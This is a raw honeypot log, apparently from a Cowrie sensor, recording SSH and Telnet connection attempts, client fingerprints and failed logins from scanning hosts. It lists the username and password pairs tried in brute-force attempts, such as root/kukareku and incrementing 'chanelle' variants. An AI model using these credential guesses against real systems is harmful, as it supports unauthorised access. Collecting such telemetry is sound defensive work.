{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43222,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5d95f60bd0","protocol":"ssh","message":"New connection: 103.15.222.183:43222 (159.203.135.109:22) [session: ef5d95f60bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:17.922276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:17.928445Z","src_ip":"103.15.222.183","session":"ef5d95f60bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:18.176812Z","src_ip":"103.15.222.183","session":"ef5d95f60bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kukareku","message":"login attempt [root/kukareku] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:18.921772Z","src_ip":"103.15.222.183","session":"ef5d95f60bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:20.172581Z","src_ip":"103.15.222.183","session":"ef5d95f60bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35148,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5c06e19de9f","protocol":"telnet","message":"New connection: 135.148.14.151:35148 (159.203.135.109:23) [session: a5c06e19de9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:47.841973Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":38466,"dst_ip":"159.203.135.109","dst_port":22,"session":"76c98abc9787","protocol":"ssh","message":"New connection: 129.226.4.94:38466 (159.203.135.109:22) [session: 76c98abc9787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:58.164601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:58.169625Z","src_ip":"129.226.4.94","session":"76c98abc9787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:58.400282Z","src_ip":"129.226.4.94","session":"76c98abc9787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:09:59.351496Z","src_ip":"129.226.4.94","session":"76c98abc9787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:00.586784Z","src_ip":"129.226.4.94","session":"76c98abc9787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.89.155.82","src_port":34190,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8f33121a6b6","protocol":"ssh","message":"New connection: 54.89.155.82:34190 (10.17.0.5:22) [session: f8f33121a6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:03.407458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:04.220702Z","src_ip":"54.89.155.82","session":"f8f33121a6b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:04.224855Z","src_ip":"54.89.155.82","session":"f8f33121a6b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43904,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1516a67e7b","protocol":"telnet","message":"New connection: 135.148.14.151:43904 (159.203.135.109:23) [session: 9a1516a67e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:04.783241Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:05.632335Z","src_ip":"54.89.155.82","session":"f8f33121a6b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.458566665649414,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:25.300444Z","src_ip":"135.148.14.151","session":"a5c06e19de9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57350,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5e2c61d158","protocol":"telnet","message":"New connection: 135.148.14.151:57350 (159.203.135.109:23) [session: 2a5e2c61d158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:37.893658Z"}
{"eventid":"cowrie.session.closed","duration":35.214804887771606,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:39.997893Z","src_ip":"135.148.14.151","session":"9a1516a67e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36848,"dst_ip":"159.203.135.109","dst_port":22,"session":"abdf95d1f9e1","protocol":"ssh","message":"New connection: 103.176.20.57:36848 (159.203.135.109:22) [session: abdf95d1f9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:41.904803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:41.914272Z","src_ip":"103.176.20.57","session":"abdf95d1f9e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:42.168219Z","src_ip":"103.176.20.57","session":"abdf95d1f9e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59670,"dst_ip":"159.203.135.109","dst_port":23,"session":"a28ec663d60f","protocol":"telnet","message":"New connection: 135.148.14.151:59670 (159.203.135.109:23) [session: a28ec663d60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:42.638084Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"311277","message":"login attempt [root/311277] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:42.929094Z","src_ip":"103.176.20.57","session":"abdf95d1f9e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:44.186604Z","src_ip":"103.176.20.57","session":"abdf95d1f9e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37984,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f5052f9ab4b","protocol":"telnet","message":"New connection: 135.148.14.151:37984 (159.203.135.109:23) [session: 5f5052f9ab4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:10:54.141007Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42756,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a879938d51e","protocol":"telnet","message":"New connection: 135.148.14.151:42756 (159.203.135.109:23) [session: 3a879938d51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:05.124557Z"}
{"eventid":"cowrie.session.closed","duration":31.926913261413574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:09.820472Z","src_ip":"135.148.14.151","session":"2a5e2c61d158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45584,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb9ac9174d7","protocol":"telnet","message":"New connection: 135.148.14.151:45584 (159.203.135.109:23) [session: efb9ac9174d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:11.332954Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":15339,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d0d3d05fff5","protocol":"ssh","message":"New connection: 213.209.159.56:15339 (10.17.0.5:22) [session: 4d0d3d05fff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:15.065757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:15.766346Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47594,"dst_ip":"159.203.135.109","dst_port":23,"session":"b442e8b67bc6","protocol":"telnet","message":"New connection: 135.148.14.151:47594 (159.203.135.109:23) [session: b442e8b67bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:15.842209Z"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:15.847975Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle","message":"login attempt [chanelle/chanelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:16.248497Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle1","message":"login attempt [chanelle/chanelle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:17.333912Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle123","message":"login attempt [chanelle/chanelle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:18.420498Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle1234","message":"login attempt [chanelle/chanelle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:19.506725Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.90512824058533,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:19.543077Z","src_ip":"135.148.14.151","session":"a28ec663d60f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle12345","message":"login attempt [chanelle/chanelle12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:20.593082Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:21.679328Z","src_ip":"213.209.159.56","session":"4d0d3d05fff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"f93c68f41e04","protocol":"telnet","message":"New connection: 135.148.14.151:50046 (159.203.135.109:23) [session: f93c68f41e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:23.020660Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51478,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6797d057686","protocol":"telnet","message":"New connection: 135.148.14.151:51478 (159.203.135.109:23) [session: a6797d057686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:25.055066Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53714,"dst_ip":"159.203.135.109","dst_port":23,"session":"e37faf0aaeca","protocol":"telnet","message":"New connection: 135.148.14.151:53714 (159.203.135.109:23) [session: e37faf0aaeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:28.813611Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53608,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbca6d42e0db","protocol":"telnet","message":"New connection: 135.148.14.151:53608 (159.203.135.109:23) [session: fbca6d42e0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:29.599154Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":40386,"dst_ip":"159.203.135.109","dst_port":22,"session":"85693cd80ac6","protocol":"ssh","message":"New connection: 129.226.4.94:40386 (159.203.135.109:22) [session: 85693cd80ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:30.454404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:30.459876Z","src_ip":"129.226.4.94","session":"85693cd80ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:30.707060Z","src_ip":"129.226.4.94","session":"85693cd80ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kwang","password":"kwang","message":"login attempt [kwang/kwang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:31.724329Z","src_ip":"129.226.4.94","session":"85693cd80ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39141297340393,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:32.532277Z","src_ip":"135.148.14.151","session":"5f5052f9ab4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:11:32.973351Z","src_ip":"129.226.4.94","session":"85693cd80ac6","protocol":"ssh"}
